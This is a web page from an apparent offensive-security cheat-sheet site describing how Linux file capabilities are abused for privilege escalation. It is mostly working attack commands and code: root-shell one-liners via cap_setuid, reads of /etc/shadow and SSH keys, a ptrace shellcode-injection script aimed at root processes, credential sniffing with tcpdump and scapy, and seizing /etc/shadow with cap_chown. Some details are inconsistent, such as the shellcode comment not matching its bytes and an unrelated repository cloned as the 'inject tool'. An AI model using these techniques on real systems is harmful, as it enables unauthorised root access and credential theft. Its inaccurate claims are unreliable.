Skip to content
HackIndex logo

HackIndex

Linux Capabilities Abuse for Privilege Escalation

5 min read Jul 10, 2026

Linux capabilities grant fine-grained privileges to binaries without requiring the full SUID bit or root ownership. A binary with cap_setuid+ep can change its UID to root. A binary with cap_dac_read_search+ep can read any file on the system regardless of permissions. Capabilities are invisible to standard ls -la and are missed without explicit enumeration.

Prerequisites Check

Enumerate all files with capabilities set:

user@host ~ $ getcap -r / 2>/dev/null

Also check what capabilities your current process has — these are inherited from the parent shell:

user@host ~ $ cat /proc/$$/status | grep -i cap

Capabilities appear in the format capability+flag:

  • +ep — effective and permitted — binary uses this capability immediately

  • +p — permitted only — capability available but not active until explicitly set

  • +i — inheritable — child processes can inherit this

Focus on +ep entries — these are immediately exploitable without any additional setup.

cap_setuid — Escalate to Root UID

A binary with cap_setuid+ep can call setuid(0) to become root. Any interpreter or language runtime with this capability is a direct root shell.

Python:

user@host ~ $ # Check
user@host ~ $ getcap -r / 2>/dev/null | grep python
 
user@host ~ $ # Exploit
user@host ~ $ /path/to/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
user@host ~ $ getcap -r / 2>/dev/null | grep perl
user@host ~ $ /path/to/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'
user@host ~ $ getcap -r / 2>/dev/null | grep ruby
user@host ~ $ /path/to/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
user@host ~ $ getcap -r / 2>/dev/null | grep tar
user@host ~ $ # tar with cap_setuid can change ownership during extraction
user@host ~ $ /path/to/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

cap_dac_read_search — Read Any File

cap_dac_read_search bypasses discretionary access control for file reads and directory searches. A binary with this capability can read /etc/shadow, /root/.ssh/id_rsa, and any other file regardless of permissions.

tar — read arbitrary files:

user@host ~ $ getcap -r / 2>/dev/null | grep tar
 
user@host ~ $ # Read /etc/shadow
user@host ~ $ /path/to/tar xf /etc/shadow -I '/bin/sh -p -c "cat 1>&2"' 2>&1

Python with cap_dac_read_search:

user@host ~ $ /path/to/python3 -c 'print(open("/etc/shadow").read())'

find with cap_dac_read_search:

user@host ~ $ /path/to/find /etc/shadow -exec cat {} \;

Extract the root hash and crack it offline. See https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation for cracking workflow.

cap_sys_ptrace — Process Injection

cap_sys_ptrace allows attaching to and injecting shellcode into any running process — including processes owned by root. Find a root process, inject shellcode, get root code execution.

Check for a root process to inject into:

user@host ~ $ ps aux | grep -v "^$USER" | grep root | grep -v "\[" | head -10

Use the inject tool from the linux-capabilities repository:

user@host ~ $ git clone https://github.com/0x00-0x00/ShellPop

/tmp/inject.py:

import ctypes
import sys
import struct

# Shellcode: execve("/bin/bash", ["/bin/bash", "-p", NULL], NULL)
shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

pid = int(sys.argv[1])
PTRACE_ATTACH = 16
PTRACE_POKETEXT = 4
PTRACE_CONT = 7
PTRACE_GETREGS = 12

libc = ctypes.CDLL("libc.so.6")
libc.ptrace(PTRACE_ATTACH, pid, None, None)
import time; time.sleep(0.5)

class Regs(ctypes.Structure):
    _fields_ = [("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong),
                ("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong),
                ("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong),
                ("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong),
                ("r9", ctypes.c_ulonglong), ("r8", ctypes.c_ulonglong),
                ("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong),
                ("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong),
                ("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong),
                ("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong),
                ("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong),
                ("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong),
                ("gs_base", ctypes.c_ulonglong), ("ds", ctypes.c_ulonglong),
                ("es", ctypes.c_ulonglong), ("fs", ctypes.c_ulonglong),
                ("gs", ctypes.c_ulonglong)]

regs = Regs()
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(regs))

rip = regs.rip
for i in range(0, len(shellcode), 8):
    chunk = shellcode[i:i+8].ljust(8, b'\x90')
    word = struct.unpack('<Q', chunk)[0]
    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(rip + i), word)

libc.ptrace(PTRACE_CONT, pid, None, None)
print(f"Injected into PID {pid}")
user@host ~ $ # Find a root process PID
user@host ~ $ ps aux | grep root | grep -v "\[" | awk '{print $2, $11}' | head
 
user@host ~ $ # Inject
user@host ~ $ python3 /tmp/inject.py $ROOT_PID

A more reliable approach — use nsenter if the binary has ptrace capability and you can access the root namespace:

user@host ~ $ /path/to/python3 -c "import subprocess; subprocess.run(['nsenter', '-t', '1', '-m', '-u', '-i', '-n', '-p', '/bin/bash'])"

cap_net_raw — Network Sniffing

cap_net_raw allows creating raw sockets and sniffing network traffic. Use this to capture credentials from cleartext protocols (HTTP, FTP, Telnet, LDAP) on the local network.

user@host ~ $ getcap -r / 2>/dev/null | grep -E "tcpdump|wireshark|python"
 
user@host ~ $ # If tcpdump has cap_net_raw
user@host ~ $ /path/to/tcpdump -i eth0 -A -s0 'port 80 or port 21 or port 23' 2>/dev/null | grep -iE "pass|user|login|auth"
 
user@host ~ $ # If python has cap_net_raw, use scapy
user@host ~ $ /path/to/python3 -c "from scapy.all import *; sniff(filter='tcp port 21', prn=lambda x: x.show())"

This captures credentials from other users authenticating to services on the same machine or network segment, which can then be used for lateral movement or direct privilege escalation if a root password is captured.

cap_sys_admin — Broad Privilege

cap_sys_admin is the broadest capability — it covers mount operations, namespace manipulation, and many kernel interfaces. A binary with this capability can mount filesystems and manipulate namespaces to escape to root:

user@host ~ $ getcap -r / 2>/dev/null | grep sys_admin
 
user@host ~ $ # Mount and access root filesystem
user@host ~ $ /path/to/binary mount /dev/sda1 /mnt
user@host ~ $ cat /mnt/etc/shadow

cap_chown — Change File Ownership

cap_chown allows changing ownership of any file. Use it to take ownership of /etc/shadow or /etc/passwd:

user@host ~ $ getcap -r / 2>/dev/null | grep chown
 
user@host ~ $ # Take ownership of shadow
user@host ~ $ /path/to/python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
user@host ~ $ cat /etc/shadow

Capabilities vs SUID

Capabilities are ignored if the binary also has the SUID bit set — SUID takes precedence. If you find a binary with both, use the SUID path. See https://hackindex.io/platforms/linux/privilege-escalation/suid-binary-privilege-escalation.

Capabilities are also distinct from sudo permissions. A binary with capabilities does not need to be in sudoers — it works directly regardless of sudo configuration.

References